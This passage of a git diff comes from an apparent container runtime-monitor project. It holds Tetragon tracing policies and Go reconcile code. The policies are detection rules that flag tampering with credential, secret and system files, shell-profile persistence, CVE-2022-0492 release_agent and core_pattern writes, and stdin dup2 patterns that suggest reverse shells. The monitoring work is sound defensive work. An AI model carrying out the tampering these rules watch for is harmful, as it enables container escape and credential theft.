".logout" + - ".history" + - "-release" + - "environ" + - index: 1 + operator: "Mask" + values: + - "1" # PROT_READ + # WRITE/MODIFY + - matchNamespaces: + - namespace: Pid + operator: NotIn + values: + - "host_ns" + matchArgs: + - index: 0 + operator: "Prefix" + values: + - "/etc/" + - "/boot/" + - "/lib" + - "/bin/" + - "/sbin/" + - "/usr/lib" + - "/usr/local/lib" + - "/usr/local/sbin/" + - "/usr/local/bin/" + - "/usr/bin/" + - "/usr/sbin/" + - "/root/" + - "/home/" + - index: 1 + operator: "Mask" + values: + - "2" # PROT_WRITE + - matchNamespaces: + - namespace: Pid + operator: NotIn + values: + - "host_ns" + matchArgs: # CVE-2022-0492 + - index: 0 + operator: "Postfix" + values: + - "/notify_on_release" + - "/release_agent" + - "/core_pattern" + - index: 1 + operator: "Mask" + values: + - "2" # PROT_WRITE + # SYNOPSIS + # int security_path_truncate(const struct path *path) + # @path: file + # + # DESCRIPTION + # Check permission before truncating the file indicated by path. + # + # RETURN VALUE + # Returns 0 if permission is granted. (https://elixir.bootlin.com/linux/v6.8-rc7/source/security/security.c#L1928) + # + # SYSCALLS + # truncate() + # + - call: "security_path_truncate" + syscall: false + return: true + args: + - index: 0 + type: "path" + returnArg: + index: 0 + type: "int" + selectors: + # MODIFY + - matchNamespaces: + - namespace: Pid + operator: NotIn + values: + - "host_ns" + matchArgs: + - index: 0 + operator: "Prefix" + values: + - "/etc/" + - "/boot/" + - "/lib" + - "/bin/" + - "/sbin/" + - "/usr/lib" + - "/usr/local/lib" + - "/usr/local/sbin/" + - "/usr/local/bin/" + - "/usr/bin/" + - "/usr/sbin/" + - "/root/" + - "/home/" + - matchNamespaces: + - namespace: Pid + operator: NotIn + values: + - "host_ns" + matchArgs: # CVE-2022-0492 + - index: 0 + operator: "Postfix" + values: + - "/notify_on_release" + - "/release_agent" + - "/core_pattern" + # SYNOPSIS + # int security_path_link(struct dentry *old_dentry, const struct path *new_dir, struct dentry *new_dentry) + # @old_dentry: existing file + # @new_dir: new parent directory + # @new_dentry: new hard link + # + # DESCRIPTION + # Check if creating a hard link is allowed. + # + # RETURN VALUE + # Returns 0 if permission is granted. (https://elixir.bootlin.com/linux/v6.16-rc5/source/security/security.c#L1987) + # + # SYSCALLS + # link, linkat + # + - call: "security_path_link" + syscall: false + return: true + args: + - index: 0 + type: "dentry" + label: "existing file" + - index: 2 + type: "dentry" + label: "new hard link" + returnArg: + index: 0 + type: "int" + selectors: + - matchNamespaces: + - namespace: Pid + operator: NotIn + values: + - "host_ns" + matchArgs: + - index: 0 + operator: "Prefix" + values: + - "/etc/" + - "/boot/" + - "/root/" + - "/run/secrets/" + - "/lib/" + - "/bin/" + - "/sbin/" + - "/usr/lib/" + - "/usr/local/lib/" + - "/usr/local/sbin/" + - "/usr/local/bin/" + - "/usr/bin/" + - "/usr/sbin/" + - "/home/" + - matchNamespaces: + - namespace: Pid + operator: NotIn + values: + - "host_ns" + matchArgs: + - index: 0 + operator: "Postfix" + values: + - ".bashrc" + - ".bash_profile" + - ".bash_login" + - ".bash_logout" + - ".cshrc" + - ".cshdirs" + - ".profile" + - ".login" + - ".logout" + - ".history" + - "-release" + # SYNOPSIS + # int security_path_rename(const struct path *old_dir, struct dentry *old_dentry, + # const struct path *new_dir, struct dentry *new_dentry, + # unsigned int flags) + # @old_dir: parent directory of the old file + # @old_dentry: the old file + # @new_dir: parent directory of the new file + # @new_dentry: the new file + # @flags: flags + # + # DESCRIPTION + # Check for permission to rename a file or directory. + # + # RETURN VALUE + # Return: Returns 0 if permission is granted. (https://elixir.bootlin.com/linux/v5.4/source/security/security.c#L1064) + # + # SYSCALLS + # rename, renameat, renameat2 + # + - call: "security_path_rename" + syscall: false + return: true + args: + - index: 1 + type: "dentry" + label: "the old file" + - index: 3 + type: "dentry" + label: "the new file" + returnArg: + index: 0 + type: "int" + selectors: + - matchNamespaces: + - namespace: Pid + operator: NotIn + values: + - "host_ns" + matchArgs: + - index: 3 + operator: "Prefix" + values: + - "/etc/" + - "/boot/" + - "/lib" + - "/bin/" + - "/sbin/" + - "/usr/lib" + - "/usr/local/lib" + - "/usr/local/sbin/" + - "/usr/local/bin/" + - "/usr/bin/" + - "/usr/sbin/" + - "/root/" + - "/home/" diff --git a/runtime-monitor/pkg/model/tracingpolicy/io-streams.yaml b/runtime-monitor/pkg/model/tracingpolicy/io-streams.yaml index 341b58f3..a5f05bcc 100644 --- a/runtime-monitor/pkg/model/tracingpolicy/io-streams.yaml +++ b/runtime-monitor/pkg/model/tracingpolicy/io-streams.yaml @@ -4,69 +4,69 @@ metadata: name: "io-streams" spec: kprobes: - # SYNOPSIS - # int do_dup2(struct files_struct *files, struct file *file, unsigned fd, unsigned flags) - # @files: files related to the new fd (fd that will become a copy) - # @file: file related to the old fd (fd being copied) - # @fd: file descriptor which needs to be copied - # @flags: flags for tweaking function behavior - # - # DESCRIPTION - # This function creates a copy of the file descriptor (fd). - # - # RETURN VALUE - # On success, this function returns the new descriptor. If there is an error, the error code is returned. - # - # SYSCALLS - # dup2(), dup3() - # - - call: "do_dup2" - syscall: false - return: true - args: - - index: 1 - type: "file" - - index: 2 - type: "int" - label: "fd" - returnArg: - index: 0 - type: "int" - selectors: - - matchArgs: - - index: 2 - operator: "Equal" - values: - - "0" # stdin - # SYNOPSIS - # int security_path_mknod(const struct path *dir, struct dentry *dentry, umode_t mode, unsigned int dev) - # @dir: parent directory path - # @dentry: new file path - # @umode_t: new file mode - # @dev: device number - # - # DESCRIPTION - # Check permissions when creating a file (regular and special ones). - # - # RETURN VALUE - # Returns 0 if permission is granted - # - # SYSCALLS - # mknod(), mknodat() - # - - call: "security_path_mknod" - syscall: false - return: false - args: - - index: 1 - type: "dentry" - label: "new file path" - - index: 2 - type: "uint32" # WA for broken uint16 argument type in actual releases - label: "new file mode" - selectors: - - matchArgs: - - index: 2 - operator: "Mask" - values: - - "010000" # S_IFIFO file type mask in octal form + # SYNOPSIS + # int do_dup2(struct files_struct *files, struct file *file, unsigned fd, unsigned flags) + # @files: files related to the new fd (fd that will become a copy) + # @file: file related to the old fd (fd being copied) + # @fd: file descriptor which needs to be copied + # @flags: flags for tweaking function behavior + # + # DESCRIPTION + # This function creates a copy of the file descriptor (fd). + # + # RETURN VALUE + # On success, this function returns the new descriptor. If there is an error, the error code is returned. + # + # SYSCALLS + # dup2(), dup3() + # + - call: "do_dup2" + syscall: false + return: true + args: + - index: 1 + type: "file" + - index: 2 + type: "int" + label: "fd" + returnArg: + index: 0 + type: "int" + selectors: + - matchArgs: + - index: 2 + operator: "Equal" + values: + - "0" # stdin + # SYNOPSIS + # int security_path_mknod(const struct path *dir, struct dentry *dentry, umode_t mode, unsigned int dev) + # @dir: parent directory path + # @dentry: new file path + # @umode_t: new file mode + # @dev: device number + # + # DESCRIPTION + # Check permissions when creating a file (regular and special ones). + # + # RETURN VALUE + # Returns 0 if permission is granted + # + # SYSCALLS + # mknod(), mknodat() + # + - call: "security_path_mknod" + syscall: false + return: false + args: + - index: 1 + type: "dentry" + label: "new file path" + - index: 2 + type: "uint32" # WA for broken uint16 argument type in actual releases + label: "new file mode" + selectors: + - matchArgs: + - index: 2 + operator: "Mask" + values: + - "010000" # S_IFIFO file type mask in octal form diff --git a/runtime-monitor/pkg/model/tracingpolicy/mount.yaml b/runtime-monitor/pkg/model/tracingpolicy/mount.yaml index ca5ff569..026efee6 100644 --- a/runtime-monitor/pkg/model/tracingpolicy/mount.yaml +++ b/runtime-monitor/pkg/model/tracingpolicy/mount.yaml @@ -21,6 +21,10 @@ spec: # Returns 0 if success. # # + # TODO: combining a syscall kretprobe (return: true) with string args makes the Tetragon agent emit + # "error paring arg type string / string size too large: 16777215" for __x64_sys_mount and drop the + # source/target for some mount events. return: true is kept because the PTCS_RT_MOUNT_DEV detector needs + # the return code (success vs failed attempt). See runtime-monitor/README.md ("Known limitation: mount"). - call: "sys_mount" syscall: true return: true diff --git a/runtime-monitor/pkg/model/tracingpolicy/permissions.yaml b/runtime-monitor/pkg/model/tracingpolicy/permissions.yaml index 6433d350..c5d3b9ca 100644 --- a/runtime-monitor/pkg/model/tracingpolicy/permissions.yaml +++ b/runtime-monitor/pkg/model/tracingpolicy/permissions.yaml @@ -4,68 +4,68 @@ metadata: name: "permissions" spec: kprobes: - # SYNOPSIS - # int commit_creds(struct cred *new) - # @new: The credentials to be assigned - # - # DESCRIPTION - # Install a new set of credentials to the current task, using RCU to replace - # the old set. Both the objective and the subjective credentials pointers are - # updated. This function may not be called if the subjective credentials are - # in an overridden state. - # - # This function eats the caller's reference to the new credentials. - # - # RETURN VALUE - # Always returns 0 thus allowing this function to be tail-called at the end of, say, sys_setgid(). - # - - call: "commit_creds" - syscall: false - return: false - args: - - index: 0 # The new credentials to apply - type: "cred" - label: "the new credentials to apply" - selectors: - - matchNamespaces: - - namespace: Pid - operator: NotIn - values: - - "host_ns" - matchActions: - - action: Post - rateLimit: "1m" - # SYNOPSIS - # int security_path_chmod(const struct path *path, umode_t mode) - Check if changing the file's mode is allowed - # @path: file path - # @mode: file mode - # - # DESCRIPTION - # Check for permission to change a mode of the file @path. The new mode is - # specified in @mode which is a bitmask of constants from - # . - # - # RETURN VALUE - # Returns 0 if permission is granted. - # - - call: "security_path_chmod" - syscall: false - return: false - args: - - index: 0 - type: "path" - label: "file path" - - index: 1 - type: "uint32" # WA for broken uint16 in Tetragon - label: "new file mode" - selectors: - - matchNamespaces: - - namespace: Pid - operator: NotIn - values: - - "host_ns" - matchArgs: - - index: 1 - operator: "Mask" - values: - - "0111" # equivalent of symbolic --x--x--x + # SYNOPSIS + # int commit_creds(struct cred *new) + # @new: The credentials to be assigned + # + # DESCRIPTION + # Install a new set of credentials to the current task, using RCU to replace + # the old set. Both the objective and the subjective credentials pointers are + # updated. This function may not be called if the subjective credentials are + # in an overridden state. + # + # This function eats the caller's reference to the new credentials. + # + # RETURN VALUE + # Always returns 0 thus allowing this function to be tail-called at the end of, say, sys_setgid(). + # + - call: "commit_creds" + syscall: false + return: false + args: + - index: 0 # The new credentials to apply + type: "cred" + label: "the new credentials to apply" + selectors: + - matchNamespaces: + - namespace: Pid + operator: NotIn + values: + - "host_ns" + matchActions: + - action: Post + rateLimit: "1m" + # SYNOPSIS + # int security_path_chmod(const struct path *path, umode_t mode) - Check if changing the file's mode is allowed + # @path: file path + # @mode: file mode + # + # DESCRIPTION + # Check for permission to change a mode of the file @path. The new mode is + # specified in @mode which is a bitmask of constants from + # . + # + # RETURN VALUE + # Returns 0 if permission is granted. + # + - call: "security_path_chmod" + syscall: false + return: false + args: + - index: 0 + type: "path" + label: "file path" + - index: 1 + type: "uint32" # WA for broken uint16 in Tetragon + label: "new file mode" + selectors: + - matchNamespaces: + - namespace: Pid + operator: NotIn + values: + - "host_ns" + matchArgs: + - index: 1 + operator: "Mask" + values: + - "0111" # equivalent of symbolic --x--x--x \ No newline at end of file diff --git a/runtime-monitor/pkg/model/tracingpolicy/listen-socket.yaml b/runtime-monitor/pkg/model/tracingpolicy/socket.yaml similarity index 98% rename from runtime-monitor/pkg/model/tracingpolicy/listen-socket.yaml rename to runtime-monitor/pkg/model/tracingpolicy/socket.yaml index efd9764f..fad65fc3 100644 --- a/runtime-monitor/pkg/model/tracingpolicy/listen-socket.yaml +++ b/runtime-monitor/pkg/model/tracingpolicy/socket.yaml @@ -1,7 +1,7 @@ apiVersion: cilium.io/v1alpha1 kind: TracingPolicy metadata: - name: "listen-socket" + name: "socket" spec: kprobes: # SYNOPSIS diff --git a/runtime-monitor/pkg/monitor/monitor.go b/runtime-monitor/pkg/monitor/monitor.go index 157e6b25..3bbfe1f2 100644 --- a/runtime-monitor/pkg/monitor/monitor.go +++ b/runtime-monitor/pkg/monitor/monitor.go @@ -167,15 +167,13 @@ func (t *Tetra) initBySelector(ctx context.Context, sel config.Selector, cfg *mo return err } } - if sel.TracingPolicies { - if err := t.initTracingPolicies(ctx, cfg); err != nil { - return err - } - if err := t.initTracingPolicyStates(ctx, cfg); err != nil { - return err - } - } else if sel.TracingPolicyStates { - if err := t.initTracingPolicyStates(ctx, cfg); err != nil { + // Tracing policy enable/disable is mapped onto add/delete: an enabled source is a loaded policy, + // a disabled one is simply not loaded. A change to either the policy set or the enabled flags is + // reconciled by the same delete-all + add-enabled cycle. This replaces the per-policy + // EnableTracingPolicy/DisableTracingPolicy gRPC calls, which Tetragon deprecated and, since v1.7.0, + // rejects by default (requiring the temporary --enable-deprecated-tracingpolicy-grpc agent option). + if sel.TracingPolicies || sel.TracingPolicyStates { + if err := t.reconcileTracingPolicies(ctx, cfg); err != nil { return err } } @@ -215,18 +213,22 @@ func (t *Tetra) initEventsClient(ctx context.Context, cfg *model.Config) error { return nil } -func (t *Tetra) initTracingPolicies(ctx context.Context, cfg *model.Config) error { +func (t *Tetra) reconcileTracingPolicies(ctx context.Context, cfg *model.Config) error { ltpResp, err := t.sensorsClient.ListTracingPolicies(ctx, &tetragon.ListTracingPoliciesRequest{}) if err != nil { return fmt.Errorf("can't list tracing policies: %v", err) } - log.Debug().Interface("policies", ltpResp.GetPolicies()).Msgf("Tetragon tracing policies before init tracing policies") + log.Debug().Interface("policies", ltpResp.GetPolicies()).Msgf("Tetragon tracing policies before reconcile") // Re-initialization of tracing policies works in two steps: // 1. Delete existing policies - // 2. Add requested policies + // 2. Add requested policies that are enabled // - // This means that it covers all possible scenarios: addition/update/deletion of tracing policies, and tend to be more "secure", + // In Tetragon a loaded policy is an active one, so the "enabled" config flag is expressed by whether the + // policy is added at all: enabled sources are added, disabled sources are left unloaded. This replaces the + // deprecated EnableTracingPolicy/DisableTracingPolicy gRPC calls (rejected by Tetragon >= v1.7.0). + // + // This means that it covers all possible scenarios: addition/update/deletion/toggling of tracing policies, and tend to be more "secure", // as effectively everything is being recreated from scratch. This also makes us sure, that nothing is added to Tetragon via CRD, // or with use of some side channel apart from runtime-monitor. // However it could be possible to implement more precise logic and make changes only on added/updated/deleted @@ -242,6 +244,9 @@ func (t *Tetra) initTracingPolicies(ctx context.Context, cfg *model.Config) erro } for name, tp := range cfg.Config.TracingPolicies { + if !tp.GetEnabled() { + continue + } if _, err := t.sensorsClient.AddTracingPolicy(ctx, &tetragon.AddTracingPolicyRequest{Yaml: tp.GetYaml()}); err != nil { return fmt.Errorf("can't add tracing policy '%s': %w", name, err) } @@ -251,38 +256,6 @@ func (t *Tetra) initTracingPolicies(ctx context.Context, cfg *model.Config) erro return nil } -func (t *Tetra) initTracingPolicyStates(ctx context.Context, cfg *model.Config) error { - ltpResp, err := t.sensorsClient.ListTracingPolicies(ctx, &tetragon.ListTracingPoliciesRequest{}) - if err != nil { - return fmt.Errorf("can't list tracing policies: %v", err) - } - log.Debug().Interface("policies", ltpResp.GetPolicies()).Msgf("Tetragon tracing policies before init tracing policy states") - - for _, tps := range ltpResp.GetPolicies() { - policyName := tps.GetName() - policyConfig, ok := cfg.Config.TracingPolicies[policyName] - if !ok { - return fmt.Errorf("loaded tracing policy '%s' has no configuration", policyName) - } - - if isTracingPolicyEnabled(tps) != policyConfig.Enabled { - if policyConfig.Enabled { - if _, err := t.sensorsClient.EnableTracingPolicy(ctx, &tetragon.EnableTracingPolicyRequest{Name: policyName}); err != nil { - return fmt.Errorf("can't enable tracing policy '%s': %w", policyName, err) - } - log.Info().Msgf("Tetragon tracing policy '%s' enabled", policyName) - } else { - if _, err := t.sensorsClient.DisableTracingPolicy(ctx, &tetragon.DisableTracingPolicyRequest{Name: policyName}); err != nil { - return fmt.Errorf("can't disable tracing policy '%s': %w", policyName, err) - } - log.Info().Msgf("Tetragon tracing policy '%s' disabled", policyName) - } - } - } - - return nil -} - // Run runs the monitor. Init should be invoked before Run. func (t *Tetra) Run(stop <-chan struct{}) error { log.Info().Msgf("Tetra monitor started") @@ -402,11 +375,3 @@ func (t *Tetra) runMetrics(interval time.Duration, stop <-chan struct{}) { } } } - -func isTracingPolicyEnabled(tps *tetragon.TracingPolicyStatus) bool { - if tps.GetState() == tetragon.TracingPolicyState_TP_STATE_ENABLED { - return true - } - - return false -} diff --git a/vendor/github.com/cilium/tetragon/api/v1/tetragon/codegen/helpers/helpers.pb.go b/vendor/github.com/cilium/tetragon/api/v1/tetragon/codegen/helpers/helpers.pb.go index 784d79ab..3d1d1617 100644 --- a/vendor/github.com/cilium/tetragon/api/v1/tetragon/codegen/helpers/helpers.pb.go +++ b/vendor/github.com/cilium/tetragon/api/v1/tetragon/codegen/helpers/helpers.pb.go @@ -39,6 +39,8 @@ func ResponseTypeString(response *tetragon.GetEventsResponse) (string, error) { return tetragon.EventType_PROCESS_THROTTLE.String(), nil case *tetragon.GetEventsResponse_ProcessLsm: return tetragon.EventType_PROCESS_LSM.String(), nil + case *tetragon.GetEventsResponse_ProcessUsdt: + return tetragon.EventType_PROCESS_USDT.String(), nil case *tetragon.GetEventsResponse_Test: return tetragon.EventType_TEST.String(), nil case *tetragon.GetEventsResponse_RateLimitInfo: @@ -75,6 +77,8 @@ func ResponseInnerGetProcess(event tetragon.IsGetEventsResponse_Event) *tetragon return ev.ProcessTracepoint.Process case *tetragon.GetEventsResponse_ProcessUprobe: return ev.ProcessUprobe.Process + case *tetragon.GetEventsResponse_ProcessUsdt: + return ev.ProcessUsdt.Process case *tetragon.GetEventsResponse_ProcessLsm: return ev.ProcessLsm.Process case *tetragon.GetEventsResponse_ProcessLoader: @@ -120,8 +124,12 @@ func ResponseInnerGetParent(event tetragon.IsGetEventsResponse_Event) *tetragon. return ev.ProcessTracepoint.Parent case *tetragon.GetEventsResponse_ProcessUprobe: return ev.ProcessUprobe.Parent + case *tetragon.GetEventsResponse_ProcessUsdt: + return ev.ProcessUsdt.Parent case *tetragon.GetEventsResponse_ProcessLsm: return ev.ProcessLsm.Parent + case *tetragon.GetEventsResponse_ProcessLoader: + return ev.ProcessLoader.Parent } return nil @@ -154,8 +162,12 @@ func ResponseInnerGetAncestors(event tetragon.IsGetEventsResponse_Event) []*tetr return ev.ProcessTracepoint.Ancestors case *tetragon.GetEventsResponse_ProcessUprobe: return ev.ProcessUprobe.Ancestors + case *tetragon.GetEventsResponse_ProcessUsdt: + return ev.ProcessUsdt.Ancestors case *tetragon.GetEventsResponse_ProcessLsm: return ev.ProcessLsm.Ancestors + case *tetragon.GetEventsResponse_ProcessLoader: + return ev.ProcessLoader.Ancestors } return nil @@ -173,6 +185,7 @@ func ResponseTypeMap() map[string]proto.Message { "process_uprobe": &tetragon.ProcessUprobe{}, "process_throttle": &tetragon.ProcessThrottle{}, "process_lsm": &tetragon.ProcessLsm{}, + "process_usdt": &tetragon.ProcessUsdt{}, "test": &tetragon.Test{}, "rate_limit_info": &tetragon.RateLimitInfo{}, } @@ -198,6 +211,8 @@ func ProcessEventMapTuple(response *tetragon.GetEventsResponse) (string, any, an return "process_throttle", response.GetProcessThrottle(), (*tetragon.ProcessThrottle)(nil) case *tetragon.GetEventsResponse_ProcessLsm: return "process_lsm", response.GetProcessLsm(), (*tetragon.ProcessLsm)(nil) + case *tetragon.GetEventsResponse_ProcessUsdt: + return "process_usdt", response.GetProcessUsdt(), (*tetragon.ProcessUsdt)(nil) case *tetragon.GetEventsResponse_Test: return "test", response.GetTest(), (*tetragon.Test)(nil) case *tetragon.GetEventsResponse_RateLimitInfo: @@ -218,6 +233,7 @@ func ProcessEventMapEmpty() map[string]any { "process_uprobe": (*tetragon.ProcessUprobe)(nil), "process_throttle": (*tetragon.ProcessThrottle)(nil), "process_lsm": (*tetragon.ProcessLsm)(nil), + "process_usdt": (*tetragon.ProcessUsdt)(nil), "test": (*tetragon.Test)(nil), "rate_limit_info": (*tetragon.RateLimitInfo)(nil), } diff --git a/vendor/github.com/cilium/tetragon/api/v1/tetragon/eventlogservice.pb.go b/vendor/github.com/cilium/tetragon/api/v1/tetragon/eventlogservice.pb.go new file mode 100644 index 00000000..7f8e7339 --- /dev/null +++ b/vendor/github.com/cilium/tetragon/api/v1/tetragon/eventlogservice.pb.go @@ -0,0 +1,322 @@ +// SPDX-License-Identifier: Apache-2.0 +// Copyright Authors of Hubble + +// Code generated by protoc-gen-go. DO NOT EDIT. +// versions: +// protoc-gen-go v1.36.3 +// protoc (unknown) +// source: tetragon/eventlogservice.proto + +package tetragon + +import ( + protoreflect "google.golang.org/protobuf/reflect/protoreflect" + protoimpl "google.golang.org/protobuf/runtime/protoimpl" + reflect "reflect" + sync "sync" +) + +const ( + // Verify that this generated code is sufficiently up-to-date. + _ = protoimpl.EnforceVersion(20 - protoimpl.MinVersion) + // Verify that runtime/protoimpl is sufficiently up-to-date. + _ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20) +) + +type SetEventLogParamsRequest struct { + state protoimpl.MessageState `protogen:"open.v1"` + MaxSize *int32 `protobuf:"varint,1,opt,name=max_size,json=maxSize,proto3,oneof" json:"max_size,omitempty"` + RotationInterval *string `protobuf:"bytes,2,opt,name=rotation_interval,json=rotationInterval,proto3,oneof" json:"rotation_interval,omitempty"` + MaxBackups *int32 `protobuf:"varint,3,opt,name=max_backups,json=maxBackups,proto3,oneof" json:"max_backups,omitempty"` + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache +} + +func (x *SetEventLogParamsRequest) Reset() { + *x = SetEventLogParamsRequest{} + mi := &file_tetragon_eventlogservice_proto_msgTypes[0] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) +} + +func (x *SetEventLogParamsRequest) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*SetEventLogParamsRequest) ProtoMessage() {} + +func (x *SetEventLogParamsRequest) ProtoReflect() protoreflect.Message { + mi := &file_tetragon_eventlogservice_proto_msgTypes[0] + if x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use SetEventLogParamsRequest.ProtoReflect.Descriptor instead. +func (*SetEventLogParamsRequest) Descriptor() ([]byte, []int) { + return file_tetragon_eventlogservice_proto_rawDescGZIP(), []int{0} +} + +func (x *SetEventLogParamsRequest) GetMaxSize() int32 { + if x != nil && x.MaxSize != nil { + return *x.MaxSize + } + return 0 +} + +func (x *SetEventLogParamsRequest) GetRotationInterval() string { + if x != nil && x.RotationInterval != nil { + return *x.RotationInterval + } + return "" +} + +func (x *SetEventLogParamsRequest) GetMaxBackups() int32 { + if x != nil && x.MaxBackups != nil { + return *x.MaxBackups + } + return 0 +} + +type SetEventLogParamsResponse struct { + state protoimpl.MessageState `protogen:"open.v1"` + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache +} + +func (x *SetEventLogParamsResponse) Reset() { + *x = SetEventLogParamsResponse{} + mi := &file_tetragon_eventlogservice_proto_msgTypes[1] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) +} + +func (x *SetEventLogParamsResponse) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*SetEventLogParamsResponse) ProtoMessage() {} + +func (x *SetEventLogParamsResponse) ProtoReflect() protoreflect.Message { + mi := &file_tetragon_eventlogservice_proto_msgTypes[1] + if x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use SetEventLogParamsResponse.ProtoReflect.Descriptor instead. +func (*SetEventLogParamsResponse) Descriptor() ([]byte, []int) { + return file_tetragon_eventlogservice_proto_rawDescGZIP(), []int{1} +} + +type GetEventLogParamsRequest struct { + state protoimpl.MessageState `protogen:"open.v1"` + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache +} + +func (x *GetEventLogParamsRequest) Reset() { + *x = GetEventLogParamsRequest{} + mi := &file_tetragon_eventlogservice_proto_msgTypes[2] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) +} + +func (x *GetEventLogParamsRequest) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*GetEventLogParamsRequest) ProtoMessage() {} + +func (x *GetEventLogParamsRequest) ProtoReflect() protoreflect.Message { + mi := &file_tetragon_eventlogservice_proto_msgTypes[2] + if x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use GetEventLogParamsRequest.ProtoReflect.Descriptor instead. +func (*GetEventLogParamsRequest) Descriptor() ([]byte, []int) { + return file_tetragon_eventlogservice_proto_rawDescGZIP(), []int{2} +} + +type GetEventLogParamsResponse struct { + state protoimpl.MessageState `protogen:"open.v1"` + MaxSize int32 `protobuf:"varint,1,opt,name=max_size,json=maxSize,proto3" json:"max_size,omitempty"` + RotationInterval string `protobuf:"bytes,2,opt,name=rotation_interval,json=rotationInterval,proto3" json:"rotation_interval,omitempty"` + MaxBackups int32 `protobuf:"varint,3,opt,name=max_backups,json=maxBackups,proto3" json:"max_backups,omitempty"` + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache +} + +func (x *GetEventLogParamsResponse) Reset() { + *x = GetEventLogParamsResponse{} + mi := &file_tetragon_eventlogservice_proto_msgTypes[3] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) +} + +func (x *GetEventLogParamsResponse) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*GetEventLogParamsResponse) ProtoMessage() {} + +func (x *GetEventLogParamsResponse) ProtoReflect() protoreflect.Message { + mi := &file_tetragon_eventlogservice_proto_msgTypes[3] + if x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use GetEventLogParamsResponse.ProtoReflect.Descriptor instead. +func (*GetEventLogParamsResponse) Descriptor() ([]byte, []int) { + return file_tetragon_eventlogservice_proto_rawDescGZIP(), []int{3} +} + +func (x *GetEventLogParamsResponse) GetMaxSize() int32 { + if x != nil { + return x.MaxSize + } + return 0 +} + +func (x *GetEventLogParamsResponse) GetRotationInterval() string { + if x != nil { + return x.RotationInterval + } + return "" +} + +func (x *GetEventLogParamsResponse) GetMaxBackups() int32 { + if x != nil { + return x.MaxBackups + } + return 0 +} + +var File_tetragon_eventlogservice_proto protoreflect.FileDescriptor + +var file_tetragon_eventlogservice_proto_rawDesc = []byte{ + 0x0a, 0x1e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2f, 0x65, 0x76, 0x65, 0x6e, 0x74, + 0x6c, 0x6f, 0x67, 0x73, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, + 0x12, 0x08, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x22, 0xc5, 0x01, 0x0a, 0x18, 0x53, + 0x65, 0x74, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x4c, 0x6f, 0x67, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x73, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x08, 0x6d, 0x61, 0x78, 0x5f, 0x73, + 0x69, 0x7a, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x48, 0x00, 0x52, 0x07, 0x6d, 0x61, 0x78, + 0x53, 0x69, 0x7a, 0x65, 0x88, 0x01, 0x01, 0x12, 0x30, 0x0a, 0x11, 0x72, 0x6f, 0x74, 0x61, 0x74, + 0x69, 0x6f, 0x6e, 0x5f, 0x69, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x09, 0x48, 0x01, 0x52, 0x10, 0x72, 0x6f, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, + 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x88, 0x01, 0x01, 0x12, 0x24, 0x0a, 0x0b, 0x6d, 0x61, 0x78, + 0x5f, 0x62, 0x61, 0x63, 0x6b, 0x75, 0x70, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x05, 0x48, 0x02, + 0x52, 0x0a, 0x6d, 0x61, 0x78, 0x42, 0x61, 0x63, 0x6b, 0x75, 0x70, 0x73, 0x88, 0x01, 0x01, 0x42, + 0x0b, 0x0a, 0x09, 0x5f, 0x6d, 0x61, 0x78, 0x5f, 0x73, 0x69, 0x7a, 0x65, 0x42, 0x14, 0x0a, 0x12, + 0x5f, 0x72, 0x6f, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x5f, 0x69, 0x6e, 0x74, 0x65, 0x72, 0x76, + 0x61, 0x6c, 0x42, 0x0e, 0x0a, 0x0c, 0x5f, 0x6d, 0x61, 0x78, 0x5f, 0x62, 0x61, 0x63, 0x6b, 0x75, + 0x70, 0x73, 0x22, 0x1b, 0x0a, 0x19, 0x53, 0x65, 0x74, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x4c, 0x6f, + 0x67, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, + 0x1a, 0x0a, 0x18, 0x47, 0x65, 0x74, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x4c, 0x6f, 0x67, 0x50, 0x61, + 0x72, 0x61, 0x6d, 0x73, 0x52, 0x65, 